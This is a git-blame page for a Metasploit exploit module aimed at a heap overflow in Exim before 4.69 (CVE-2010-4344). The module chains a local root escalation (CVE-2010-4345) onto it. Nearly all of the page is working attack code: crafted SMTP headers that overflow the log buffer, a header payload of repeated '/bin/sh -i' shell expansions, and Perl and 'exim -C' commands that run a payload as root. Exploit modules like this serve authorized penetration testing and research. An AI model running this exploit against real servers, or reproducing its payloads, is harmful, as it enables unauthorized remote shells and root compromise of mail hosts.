Files
metasploit-gs/modules/exploits/unix/smtp/exim4_string_format.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

349 lines
12 KiB
Ruby
Raw Normal View History

2010-12-10 19:34:23 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-12-10 19:34:23 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-12-10 19:34:23 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
include Msf::Exploit::Remote::Smtp
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim4 string_format Function Heap Buffer Overflow',
2010-12-10 19:34:23 +00:00
'Description' => %q{
This module exploits a heap buffer overflow within versions of Exim prior to
version 4.69. By sending a specially crafted message, an attacker can corrupt the
heap and execute arbitrary code with the privileges of the Exim daemon.
2013-08-30 16:28:54 -05:00
2010-12-10 19:50:16 +00:00
The root cause is that no check is made to ensure that the buffer is not full
2010-12-10 19:34:23 +00:00
prior to handling '%s' format specifiers within the 'string_vformat' function.
In order to trigger this issue, we get our message rejected by sending a message
2010-12-10 19:50:16 +00:00
that is too large. This will call into log_write to log rejection headers (which
2010-12-10 19:34:23 +00:00
is a default configuration setting). After filling the buffer, a long header
2010-12-10 19:50:16 +00:00
string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
FROM' command. By sending a second message, the string we sent will be evaluated
2010-12-10 19:34:23 +00:00
with 'expand_string' and arbitrary shell commands can be executed.
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
It is likely that this issue could also be exploited using other techniques such
as targeting in-band heap management structures, or perhaps even function pointers
stored in the heap. However, these techniques would likely be far more platform
specific, more complicated, and less reliable.
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
This bug was original found and reported in December 2008, but was not
properly handled as a security issue. Therefore, there was a 2 year lag time
between when the issue was fixed and when it was discovered being exploited
2010-12-10 19:50:16 +00:00
in the wild. At that point, the issue was assigned a CVE and began being
2010-12-10 19:34:23 +00:00
addressed by downstream vendors.
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
An additional vulnerability, CVE-2010-4345, was also used in the attack that
led to the discovery of danger of this bug. This bug allows a local user to
2010-12-11 03:31:04 +00:00
gain root privileges from the Exim user account. If the Perl interpreter is
2010-12-11 10:55:24 +00:00
found on the remote system, this module will automatically exploit the
2010-12-11 03:31:04 +00:00
secondary bug as well to get root.
2010-12-10 19:34:23 +00:00
},
2010-12-11 10:55:24 +00:00
'Author' => [ 'jduck', 'hdm' ],
2010-12-10 19:34:23 +00:00
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-4344' ],
2013-06-22 07:28:04 -05:00
[ 'CVE', '2010-4345' ],
[ 'OSVDB', '69685' ],
[ 'OSVDB', '69860' ],
2010-12-13 16:16:29 +00:00
[ 'BID', '45308' ],
[ 'BID', '45341' ],
2018-09-15 18:54:45 -05:00
[ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],
2010-12-10 19:34:23 +00:00
[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
],
2010-12-11 03:31:45 +00:00
'Privileged' => true,
2010-12-10 19:34:23 +00:00
'Payload' =>
{
'DisableNops' => true,
'Space' => 8192, # much more in reality, but w/e
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
2010-12-10 19:34:23 +00:00
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
2010-12-11 10:55:24 +00:00
[ 'Automatic', { } ],
2010-12-10 19:34:23 +00:00
],
# Originally discovered/reported Dec 2 2008
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-12-07', # as an actual security bug
2010-12-10 19:34:23 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2010-12-11 10:55:24 +00:00
register_options(
[
2010-12-10 22:17:47 +00:00
OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
2010-12-11 10:55:24 +00:00
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
])
2013-08-30 16:28:54 -05:00
2010-12-11 10:55:24 +00:00
register_advanced_options(
[
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
])
2010-12-10 19:34:23 +00:00
end
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
def exploit
2010-12-10 22:16:34 +00:00
#
# Connect and grab the banner
#
ehlo = datastore['EHLO_NAME']
2010-12-11 10:55:24 +00:00
ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"
2013-08-30 16:28:54 -05:00
print_status("Connecting to #{rhost}:#{rport} ...")
2010-12-10 22:16:34 +00:00
connect
2013-08-30 16:28:54 -05:00
2011-08-21 19:26:41 +00:00
print_status("Server: #{self.banner.to_s.strip}")
if self.banner.to_s !~ /Exim /
disconnect
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "The target server is not running Exim!")
2010-12-16 17:30:24 +00:00
end
2013-08-30 16:28:54 -05:00
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
2010-12-10 22:16:34 +00:00
end
2013-08-30 16:28:54 -05:00
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
2010-12-10 22:16:34 +00:00
ehlo_resp.each_line do |line|
print_status("EHLO: #{line.strip}")
end
2013-08-30 16:28:54 -05:00
2010-12-10 22:16:34 +00:00
#
# Determine the maximum message size
#
2010-12-10 19:34:23 +00:00
max_msg = 52428800
2010-12-10 22:16:34 +00:00
if ehlo_resp.to_s =~ /250-SIZE (\d+)/
max_msg = $1.to_i
end
2013-08-30 16:28:54 -05:00
2010-12-10 22:16:34 +00:00
#
# Determine what hostname the server sees
#
saddr = nil
revdns = nil
2010-12-10 22:16:34 +00:00
if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
revdns = $1
2010-12-10 22:16:34 +00:00
saddr = $2
end
2010-12-10 23:29:26 +00:00
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
2013-08-30 16:28:54 -05:00
2010-12-10 23:29:26 +00:00
#
# Initiate the message
#
2010-12-10 22:16:34 +00:00
from = datastore['MAILFROM']
to = datastore['MAILTO']
2013-08-30 16:28:54 -05:00
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, msg)
else
print_status(msg)
end
2013-08-30 16:28:54 -05:00
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, msg)
else
print_status(msg)
end
2013-08-30 16:28:54 -05:00
resp = raw_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, msg)
else
print_status(msg)
end
2013-08-30 16:28:54 -05:00
2010-12-10 22:16:34 +00:00
#
# Calculate the headers
#
msg_len = max_msg + (1024*256) # just for good measure
2010-12-10 19:34:23 +00:00
log_buffer_size = 8192
2013-08-30 16:28:54 -05:00
host_part = "H="
2012-11-28 23:50:07 -06:00
if revdns and revdns != ehlo
host_part << revdns << " "
end
host_part << "(#{ehlo})"
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
2010-12-10 23:29:26 +00:00
print_status("Constructing initial headers ...")
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
2010-12-10 19:34:23 +00:00
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
2013-08-30 16:28:54 -05:00
# We want 2 bytes left, so we subtract from log_buffer_size here
log_buffer_size -= 3 # account for the nul termination too
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
# Now, " " + hdrline for each header
hdrs = []
while log_buffer.length < log_buffer_size
header_name = rand_text_alpha(10).capitalize
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
2013-08-30 16:28:54 -05:00
one = (2 + hdr.length)
two = 2 * one
left = log_buffer_size - log_buffer.length
if left < two and left > one
left -= 4 # the two double spaces
first = left / 2
hdr = hdr.slice(0, first - 1) + "\n"
hdrs << hdr
log_buffer << " " << hdr
2013-08-30 16:28:54 -05:00
second = left - first
header_name = rand_text_alpha(10).capitalize
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
hdr = hdr.slice(0, second - 1) + "\n"
2010-12-10 19:34:23 +00:00
end
hdrs << hdr
log_buffer << " " << hdr
end
2010-12-10 19:34:23 +00:00
hdrs1 = hdrs.join
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
# This header will smash various heap stuff, hopefully including the ACL
header_name = Rex::Text.rand_text_alpha(7).capitalize
2010-12-10 19:34:23 +00:00
print_status("Constructing HeaderX ...")
hdrx = "#{header_name}: "
2010-12-10 19:34:23 +00:00
1.upto(50) { |a|
3.upto(12) { |b|
hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
}
}
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
# In order to trigger the overflow, we must get our message rejected.
# To do so, we send a message that is larger than the maximum.
2013-08-30 16:28:54 -05:00
print_status("Constructing body ...")
2010-12-10 19:34:23 +00:00
body = ''
2010-12-10 22:16:34 +00:00
fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384
2013-08-30 16:28:54 -05:00
2010-12-10 22:16:34 +00:00
while(body.length < msg_len)
body << fill
end
body = body[0, msg_len]
2013-08-30 16:28:54 -05:00
print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
2010-12-10 22:16:34 +00:00
sock.put hdrs1
sock.put hdrx
sock.put "\r\n"
2010-12-10 22:16:34 +00:00
sock.put body
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
print_status("Ending first message.")
buf = raw_send_recv("\r\n.\r\n")
# Should be: "552 Message size exceeds maximum permitted\r\n"
2010-12-10 19:34:23 +00:00
print_status("Result: #{buf.inspect}") if buf
2013-08-30 16:28:54 -05:00
2011-06-26 06:03:23 +00:00
second_result = ""
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
print_status("Sending second message ...")
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
2010-12-10 19:34:23 +00:00
# Should be: "sh-x.x$ " !!
2011-06-26 06:03:23 +00:00
if buf
print_status("MAIL result: #{buf.inspect}")
second_result << buf
end
2013-08-30 16:28:54 -05:00
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
2010-12-10 19:34:23 +00:00
# Should be: "sh: RCPT: command not found\n"
if buf
print_status("RCPT result: #{buf.inspect}")
2011-06-26 06:03:23 +00:00
second_result << buf
end
2013-08-30 16:28:54 -05:00
# Clear pending output from the socket
2011-06-26 06:03:23 +00:00
buf = sock.get_once(-1, 1.0)
second_result << buf if buf
sock.put("source /etc/profile >/dev/null 2>&1\n")
2011-06-26 06:03:23 +00:00
buf = sock.get_once(-1, 2.0)
second_result << buf if buf
2013-08-30 16:28:54 -05:00
2011-06-26 06:03:23 +00:00
# Check output for success
2011-06-26 18:09:21 +00:00
if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
2011-06-26 06:03:23 +00:00
print_error("Second result: #{second_result.inspect}")
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
2011-06-26 06:03:23 +00:00
end
2013-08-30 16:28:54 -05:00
2011-06-26 06:03:23 +00:00
resp = ''
if not datastore['SkipEscalation']
print_status("Looking for Perl to facilitate escalation...")
# Check for Perl as a way to escalate our payload
sock.put("perl -V\n")
select(nil, nil, nil, 3.0)
2010-12-11 10:55:24 +00:00
resp = sock.get_once(-1, 10.0)
end
2013-08-30 16:28:54 -05:00
if resp !~ /Summary of my perl/
print_status("Should have a shell now, sending payload...")
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
if buf
if buf =~ /554 SMTP synchronization error/
print_error("This target may be patched: #{buf.strip}")
else
print_status("Payload result: #{buf.inspect}")
end
end
else
print_status("Perl binary detected, attempt to escalate...")
2013-08-30 16:28:54 -05:00
token = Rex::Text.rand_text_alpha(8)
# Flush the output from the shell
sock.get_once(-1, 0.1)
2013-08-30 16:28:54 -05:00
# Find the perl interpreter path
sock.put("which perl;echo #{token}\n")
buff = ""
2010-12-11 10:55:24 +00:00
cnt =
while not buff.index(token)
res = sock.get_once(-1, 0.25)
buff << res if res
end
2013-08-30 16:28:54 -05:00
perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip
print_status("Using Perl interpreter at #{perl_path}...")
2013-08-30 16:28:54 -05:00
temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
temp_eof = Rex::Text.rand_text_alpha(8)
2013-08-30 16:28:54 -05:00
print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")
2013-08-30 16:28:54 -05:00
data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")
2013-08-30 16:28:54 -05:00
data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")
2013-08-30 16:28:54 -05:00
print_status("Attempting to execute payload as root...")
sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
end
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
# Give some time for the payload to be consumed
select(nil, nil, nil, 4)
2013-08-30 16:28:54 -05:00
2010-12-10 19:34:23 +00:00
handler
disconnect
end
end